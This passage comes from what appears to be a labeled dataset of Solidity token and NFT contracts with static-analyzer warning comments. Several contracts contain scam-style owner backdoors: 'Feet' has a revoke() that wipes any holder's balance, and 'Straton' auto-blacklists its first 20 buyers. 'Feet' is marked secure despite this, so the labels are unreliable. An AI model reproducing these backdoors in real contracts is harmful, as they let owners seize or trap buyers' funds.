tx.origin == owner() || _isExcludedFromFees[tx.origin],\n \"Trading is not active\"\n );\n }\n\n if (AMMPairs[from] || AMMPairs[to]) {\n if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {\n uint256 tradeFeeAmount = (amount * tradeFeeRate) / 10000;\n\n if (tradeFeeAmount > 0) {\n super._transfer(from, tradeFeeWallet, tradeFeeAmount);\n\n amount -= tradeFeeAmount;\n }\n\n uint256 marketFeeAmount = (amount * marketFeeRate) / 10000;\n\n if (marketFeeAmount > 0) {\n super._transfer(from, marketFeeWallet, marketFeeAmount);\n\n amount -= marketFeeAmount;\n }\n }\n }\n\n\t\t// incorrect-equality | ID: baff3c7\n if (balanceOf(from) == amount && amount > 0) {\n amount -= 1;\n }\n\n super._transfer(from, to, amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n\t// WARNING Optimization Issue (var-read-using-this | ID: f6a6aec): The function Rong.burnLiquidity(uint256) reads liquidityPairBalance = this.balanceOf(mainPair) with `this` which adds an extra STATICCALL.\n\t// Recommendation for f6a6aec: Read the variable directly from storage instead of calling the contract.\n function burnLiquidity(uint256 percent) external onlyOwner returns (bool) {\n require(percent <= 5000, \"May not burn more than 50% of tokens in LP\");\n\n\t\t// var-read-using-this | ID: f6a6aec\n uint256 liquidityPairBalance = this.balanceOf(mainPair);\n\n uint256 amountToBurn = (liquidityPairBalance * percent) / 10000;\n\n if (amountToBurn > 0) {\n super._transfer(mainPair, address(0xdead), amountToBurn);\n }\n\n ISwapPair(mainPair).sync();\n\n return true;\n }\n\n bool public tradingActive;\n\n function enableTrading() external onlyOwner {\n tradingActive = true;\n }\n\n function setAMMPairs(address pair, bool value) external onlyOwner {\n require(pair != mainPair, \"The pair cannot be removed from AMMPairs\");\n\n _setAMMPairs(pair, value);\n }\n\n function _setAMMPairs(address pair, bool value) private {\n AMMPairs[pair] = value;\n }\n\n mapping(address => bool) private _isExcludedFromFees;\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n }\n\n function isExcludedFromFees(address account) external view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n uint256 public tradeFeeRate = 200;\n\n address public tradeFeeWallet;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9dd46a1): Rong.updateTradeFeeRate(uint256) should emit an event for tradeFeeRate = _tradeFeeRate \n\t// Recommendation for 9dd46a1: Emit an event for critical parameter changes.\n function updateTradeFeeRate(uint256 _tradeFeeRate) external onlyOwner {\n\t\t// events-maths | ID: 9dd46a1\n tradeFeeRate = _tradeFeeRate;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 81823c0): Rong.updateTradeFeeWallet(address)._tradeFeeWallet lacks a zerocheck on \t tradeFeeWallet = _tradeFeeWallet\n\t// Recommendation for 81823c0: Check that the address is not zero.\n function updateTradeFeeWallet(address _tradeFeeWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: 81823c0\n tradeFeeWallet = _tradeFeeWallet;\n\n _isExcludedFromFees[tradeFeeWallet] = true;\n }\n\n uint256 public marketFeeRate = 200;\n\n address public marketFeeWallet;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4508645): Rong.updateMarketFeeRate(uint256) should emit an event for marketFeeRate = _marketFeeRate \n\t// Recommendation for 4508645: Emit an event for critical parameter changes.\n function updateMarketFeeRate(uint256 _marketFeeRate) external onlyOwner {\n\t\t// events-maths | ID: 4508645\n marketFeeRate = _marketFeeRate;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9ff65de): Rong.updateMarketFeeWallet(address)._marketFeeWallet lacks a zerocheck on \t marketFeeWallet = _marketFeeWallet\n\t// Recommendation for 9ff65de: Check that the address is not zero.\n function updateMarketFeeWallet(\n address _marketFeeWallet\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 9ff65de\n marketFeeWallet = _marketFeeWallet;\n\n _isExcludedFromFees[marketFeeWallet] = true;\n }\n}",
"file_name": "solidity_code_3704.sol",
"secure": 0,
"size_bytes": 7475
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary AddressUtils {\n function isDeployedContract(\n address _addr\n ) internal view returns (bool addressCheck) {\n uint256 size;\n\n assembly {\n size := extcodesize(_addr)\n }\n\n addressCheck = size > 0;\n }\n}",
"file_name": "solidity_code_3705.sol",
"secure": 1,
"size_bytes": 334
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"./ERC721Metadata.sol\" as ERC721Metadata;\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"./SupportsInterface.sol\" as SupportsInterface;\nimport \"./ERC721TokenReceiver.sol\" as ERC721TokenReceiver;\nimport \"./AddressUtils.sol\" as AddressUtils;\n\ncontract NFTokenMetadataEnumerable is\n ERC721,\n ERC721Metadata,\n ERC721Enumerable,\n SupportsInterface\n{\n using AddressUtils for address;\n\n string constant ZERO_ADDRESS = \"006001\";\n\n string constant NOT_VALID_NFT = \"006002\";\n\n string constant NOT_OWNER_OR_OPERATOR = \"006003\";\n\n string constant NOT_OWNER_APPROWED_OR_OPERATOR = \"006004\";\n\n string constant NOT_ABLE_TO_RECEIVE_NFT = \"006005\";\n\n string constant NFT_ALREADY_EXISTS = \"006006\";\n\n string constant INVALID_INDEX = \"006007\";\n\n bytes4 constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;\n\n string internal nftName;\n\n string internal nftSymbol;\n\n string public uriPrefix;\n\n string public uriPostfix;\n\n uint256[] internal tokens;\n\n mapping(uint256 => uint256) internal idToIndex;\n\n mapping(address => uint256[]) internal ownerToIds;\n\n mapping(uint256 => uint256) internal idToOwnerIndex;\n\n mapping(uint256 => address) internal idToOwner;\n\n mapping(uint256 => address) internal idToApproval;\n\n mapping(address => mapping(address => bool)) internal ownerToOperators;\n\n constructor() {\n supportedInterfaces[0x80ac58cd] = true;\n\n supportedInterfaces[0x5b5e139f] = true;\n\n supportedInterfaces[0x780e9d63] = true;\n }\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId,\n bytes calldata _data\n ) external override {\n _safeTransferFrom(_from, _to, _tokenId, _data);\n }\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external override {\n _safeTransferFrom(_from, _to, _tokenId, \"\");\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external override {\n _transferFrom(_from, _to, _tokenId);\n }\n\n function approve(address _approved, uint256 _tokenId) external override {\n address tokenOwner = idToOwner[_tokenId];\n\n require(\n tokenOwner == msg.sender ||\n ownerToOperators[tokenOwner][msg.sender],\n NOT_OWNER_OR_OPERATOR\n );\n\n idToApproval[_tokenId] = _approved;\n\n emit Approval(tokenOwner, _approved, _tokenId);\n }\n\n function setApprovalForAll(\n address _operator,\n bool _approved\n ) external override {\n ownerToOperators[msg.sender][_operator] = _approved;\n\n emit ApprovalForAll(msg.sender, _operator, _approved);\n }\n\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n require(_owner != address(0), ZERO_ADDRESS);\n\n return ownerToIds[_owner].length;\n }\n\n function ownerOf(\n uint256 _tokenId\n ) external view override returns (address _owner) {\n _owner = idToOwner[_tokenId];\n\n require(_owner != address(0), NOT_VALID_NFT);\n }\n\n function getApproved(\n uint256 _tokenId\n ) external view override returns (address) {\n require(idToOwner[_tokenId] != address(0), NOT_VALID_NFT);\n\n return idToApproval[_tokenId];\n }\n\n function isApprovedForAll(\n address _owner,\n address _operator\n ) external view override returns (bool) {\n return ownerToOperators[_owner][_operator];\n }\n\n function totalSupply() external view override returns (uint256) {\n return tokens.length;\n }\n\n function tokenByIndex(\n uint256 _index\n ) external view override returns (uint256) {\n require(_index < tokens.length, INVALID_INDEX);\n\n return tokens[_index];\n }\n\n function tokenOfOwnerByIndex(\n address _owner,\n uint256 _index\n ) external view override returns (uint256) {\n require(_index < ownerToIds[_owner].length, INVALID_INDEX);\n\n return ownerToIds[_owner][_index];\n }\n\n function name() external view override returns (string memory _name) {\n _name = nftName;\n }\n\n function symbol() external view override returns (string memory _symbol) {\n _symbol = nftSymbol;\n }\n\n function tokenURI(\n uint256 _tokenId\n ) external view override returns (string memory) {\n require(idToOwner[_tokenId] != address(0), NOT_VALID_NFT);\n\n string memory uri = \"\";\n\n if (bytes(uriPrefix).length > 0) {\n uri = string(abi.encodePacked(uriPrefix, _uint2str(_tokenId)));\n\n if (bytes(uriPostfix).length > 0) {\n uri = string(abi.encodePacked(uri, uriPostfix));\n }\n }\n\n return uri;\n }\n\n function _setUri(string memory _prefix, string memory _postfix) internal {\n uriPrefix = _prefix;\n\n uriPostfix = _postfix;\n }\n\n function _create(address _to, uint256 _tokenId) internal {\n require(_to != address(0), ZERO_ADDRESS);\n\n require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS);\n\n idToOwner[_tokenId] = _to;\n\n ownerToIds[_to].push(_tokenId);\n\n idToOwnerIndex[_tokenId] = ownerToIds[_to].length - 1;\n\n tokens.push(_tokenId);\n\n idToIndex[_tokenId] = tokens.length - 1;\n\n emit Transfer(address(0), _to, _tokenId);\n }\n\n function _destroy(uint256 _tokenId) internal {\n address _owner = idToOwner[_tokenId];\n\n require(_owner != address(0), NOT_VALID_NFT);\n\n if (idToApproval[_tokenId] != address(0)) {\n delete idToApproval[_tokenId];\n }\n\n assert(ownerToIds[_owner].length > 0);\n\n uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];\n\n uint256 lastTokenIndex = ownerToIds[_owner].length - 1;\n\n uint256 lastToken;\n\n if (lastTokenIndex != tokenToRemoveIndex) {\n lastToken = ownerToIds[_owner][lastTokenIndex];\n\n ownerToIds[_owner][tokenToRemoveIndex] = lastToken;\n\n idToOwnerIndex[lastToken] = tokenToRemoveIndex;\n }\n\n delete idToOwner[_tokenId];\n\n delete idToOwnerIndex[_tokenId];\n\n ownerToIds[_owner].pop();\n\n assert(tokens.length > 0);\n\n uint256 tokenIndex = idToIndex[_tokenId];\n\n lastTokenIndex = tokens.length - 1;\n\n lastToken = tokens[lastTokenIndex];\n\n tokens[tokenIndex] = lastToken;\n\n tokens.pop();\n\n idToIndex[lastToken] = tokenIndex;\n\n idToIndex[_tokenId] = 0;\n\n emit Transfer(_owner, address(0), _tokenId);\n }\n\n function _transferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) internal virtual {\n require(_from != address(0), ZERO_ADDRESS);\n\n require(idToOwner[_tokenId] == _from, NOT_VALID_NFT);\n\n require(_to != address(0), ZERO_ADDRESS);\n\n require(\n _from == msg.sender ||\n idToApproval[_tokenId] == msg.sender ||\n ownerToOperators[_from][msg.sender],\n NOT_OWNER_APPROWED_OR_OPERATOR\n );\n\n if (idToApproval[_tokenId] != address(0)) {\n\t\t\t// reentrancy-benign | ID: f83eb38\n delete idToApproval[_tokenId];\n }\n\n assert(ownerToIds[_from].length > 0);\n\n uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];\n\n uint256 lastTokenIndex = ownerToIds[_from].length - 1;\n\n if (lastTokenIndex != tokenToRemoveIndex) {\n uint256 lastToken = ownerToIds[_from][lastTokenIndex];\n\n\t\t\t// reentrancy-benign | ID: f83eb38\n ownerToIds[_from][tokenToRemoveIndex] = lastToken;\n\n\t\t\t// reentrancy-benign | ID: f83eb38\n idToOwnerIndex[lastToken] = tokenToRemoveIndex;\n }\n\n\t\t// reentrancy-benign | ID: f83eb38\n ownerToIds[_from].pop();\n\n\t\t// reentrancy-benign | ID: f83eb38\n idToOwner[_tokenId] = _to;\n\n\t\t// reentrancy-benign | ID: f83eb38\n ownerToIds[_to].push(_tokenId);\n\n\t\t// reentrancy-benign | ID: f83eb38\n idToOwnerIndex[_tokenId] = ownerToIds[_to].length - 1;\n\n\t\t// reentrancy-events | ID: b52dd03\n emit Transfer(_from, _to, _tokenId);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b52dd03): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b52dd03: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f83eb38): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f83eb38: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId,\n bytes memory _data\n ) internal virtual {\n if (_to.isDeployedContract()) {\n\t\t\t// reentrancy-events | ID: b52dd03\n\t\t\t// reentrancy-benign | ID: f83eb38\n require(\n ERC721TokenReceiver(_to).onERC721Received(\n msg.sender,\n _from,\n _tokenId,\n _data\n ) == MAGIC_ON_ERC721_RECEIVED,\n NOT_ABLE_TO_RECEIVE_NFT\n );\n }\n\n\t\t// reentrancy-events | ID: b52dd03\n\t\t// reentrancy-benign | ID: f83eb38\n _transferFrom(_from, _to, _tokenId);\n }\n\n function _uint2str(uint256 _i) internal pure returns (string memory str) {\n if (_i == 0) {\n return \"0\";\n }\n\n uint256 j = _i;\n\n uint256 length;\n\n while (j != 0) {\n length++;\n\n j /= 10;\n }\n\n bytes memory bstr = new bytes(length);\n\n uint256 k = length;\n\n j = _i;\n\n while (j != 0) {\n bstr[--k] = bytes1(uint8(48 + (j % 10)));\n\n j /= 10;\n }\n\n str = string(bstr);\n }\n}",
"file_name": "solidity_code_3706.sol",
"secure": 0,
"size_bytes": 10694
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n string constant NOT_OWNER = \"018001\";\n\n string constant ZERO_ADDRESS_NOT_ALLOWED = \"018002\";\n\n address public owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, NOT_OWNER);\n\n _;\n }\n\n function transferOwnership(address _newOwner) public virtual onlyOwner {\n require(_newOwner != address(0), ZERO_ADDRESS_NOT_ALLOWED);\n\n emit OwnershipTransferred(owner, _newOwner);\n\n owner = _newOwner;\n }\n}",
"file_name": "solidity_code_3707.sol",
"secure": 1,
"size_bytes": 734
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./NFTokenMetadataEnumerable.sol\" as NFTokenMetadataEnumerable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract SOX is NFTokenMetadataEnumerable, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 58ff666): SOX.maxTokens should be constant \n\t// Recommendation for 58ff666: Add the 'constant' attribute to state variables that never change.\n uint256 internal maxTokens = 558;\n\n\t// WARNING Optimization Issue (constable-states | ID: a90c7ed): SOX.initialOwner should be constant \n\t// Recommendation for a90c7ed: Add the 'constant' attribute to state variables that never change.\n address internal initialOwner = 0x8eCe810b94A75F42b7E619F60A1A2c21CCC911B8;\n\n constructor(string memory _uriPrefix) {\n nftName = \"SorareX\";\n\n nftSymbol = \"SOX\";\n\n super._setUri(_uriPrefix, \"\");\n }\n\n function mint(uint256 _count) external onlyOwner {\n uint256 _tokenId = tokens.length + 1;\n\n uint256 _maxTokenId = _tokenId + _count - 1;\n\n require(_maxTokenId <= maxTokens);\n\n while (_tokenId <= _maxTokenId) {\n super._create(initialOwner, _tokenId++);\n }\n }\n\n function configureUri(\n string calldata _uriPrefix,\n string calldata _uriPostfix\n ) external onlyOwner {\n super._setUri(_uriPrefix, _uriPostfix);\n }\n}",
"file_name": "solidity_code_3708.sol",
"secure": 1,
"size_bytes": 1449
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Feet is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable forward;\n\n constructor() {\n _name = \"FEET\";\n\n _symbol = \"FEET\";\n\n _decimals = 18;\n\n uint256 initialSupply = 569000000;\n\n forward = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == forward, \"Not allowed\");\n\n _;\n }\n\n function revoke(address[] memory dose) public onlyOwner {\n for (uint256 i = 0; i < dose.length; i++) {\n address account = dose[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3709.sol",
"secure": 1,
"size_bytes": 4344
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Straton is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n uint256 private constant _x0xKQYT9305 = 0x123456;\n\n uint256 private constant _x0xHLWP8274 = 0xABCDEF;\n\n\t// WARNING Optimization Issue (constable-states | ID: ecf18b7): straton.blacklistCount should be constant \n\t// Recommendation for ecf18b7: Add the 'constant' attribute to state variables that never change.\n uint256 public blacklistCount = 20;\n\n uint256 public currentBuyCount = 0;\n\n mapping(address => bool) private initialBuyers;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7b18ad8): straton._taxWallet should be immutable \n\t// Recommendation for 7b18ad8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3527f5b): straton._0xFTKX2094 should be constant \n\t// Recommendation for 3527f5b: Add the 'constant' attribute to state variables that never change.\n uint256 private _0xFTKX2094 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: d4dbd1a): straton._x3PLVY7312 should be constant \n\t// Recommendation for d4dbd1a: Add the 'constant' attribute to state variables that never change.\n uint256 private _x3PLVY7312 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a3c624): straton._x7QRWLP should be constant \n\t// Recommendation for 7a3c624: Add the 'constant' attribute to state variables that never change.\n uint256 private _x7QRWLP = 0;\n\n uint256 private _x5MRXZ8043 = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 80eceeb): straton._x2JTYL947 should be constant \n\t// Recommendation for 80eceeb: Add the 'constant' attribute to state variables that never change.\n uint256 private _x2JTYL947 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 24f7ccd): straton._xGLQW18 should be constant \n\t// Recommendation for 24f7ccd: Add the 'constant' attribute to state variables that never change.\n uint256 private _xGLQW18 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: a8f60b9): straton._x1PWZL6F9 should be constant \n\t// Recommendation for a8f60b9: Add the 'constant' attribute to state variables that never change.\n uint256 private _x1PWZL6F9 = 18;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _x5NQWP9T7 = (_tTotal * 2) / 100;\n\n uint256 public _x0BLYR5K3 = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 000555d): straton._x6KRYXZ1 should be constant \n\t// Recommendation for 000555d: Add the 'constant' attribute to state variables that never change.\n uint256 public _x6KRYXZ1 = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5d4883e): straton._maxTaxSwap should be constant \n\t// Recommendation for 5d4883e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private x3MWVTQ4 = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _x5NQWP9T7);\n\n modifier lockTheSwap() {\n x3MWVTQ4 = true;\n\n _;\n\n x3MWVTQ4 = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n event ChecksumEvent(uint256 indexed dummyness0xEPYQ7153);\n\n function checksum0xCVLZ5198() private pure {}\n\n function checksum0xDMRW4067() private pure {}\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7bd61b7): straton.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7bd61b7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7fe6264): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7fe6264: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d8319a5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d8319a5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7fe6264\n\t\t// reentrancy-benign | ID: d8319a5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7fe6264\n\t\t// reentrancy-benign | ID: d8319a5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 575d51c): straton._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 575d51c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d8319a5\n\t\t// reentrancy-benign | ID: cc04039\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: cdcb1b4\n\t\t// reentrancy-events | ID: 7fe6264\n emit Approval(owner, spender, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a < b) ? a : b;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5b9fe55): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5b9fe55: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5dccd93): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5dccd93: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n !initialBuyers[to]\n ) {\n currentBuyCount++;\n\n initialBuyers[to] = true;\n\n if (currentBuyCount <= blacklistCount) {\n bots[to] = true;\n\n emit Transfer(from, to, 0);\n }\n }\n\n taxAmount = amount\n .mul((_buyCount > _x2JTYL947) ? _x7QRWLP : _0xFTKX2094)\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _x5NQWP9T7, \"Exceeds the _x5NQWP9T7.\");\n\n require(\n balanceOf(to) + amount <= _x0BLYR5K3,\n \"Exceeds the x0BLYR5K3.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul((_buyCount > _xGLQW18) ? _x5MRXZ8043 : _x3PLVY7312)\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !x3MWVTQ4 &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _x6KRYXZ1 &&\n _buyCount > _x1PWZL6F9\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 5b9fe55\n\t\t\t\t// reentrancy-eth | ID: 5dccd93\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5b9fe55\n\t\t\t\t\t// reentrancy-eth | ID: 5dccd93\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 5dccd93\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 5dccd93\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5dccd93\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 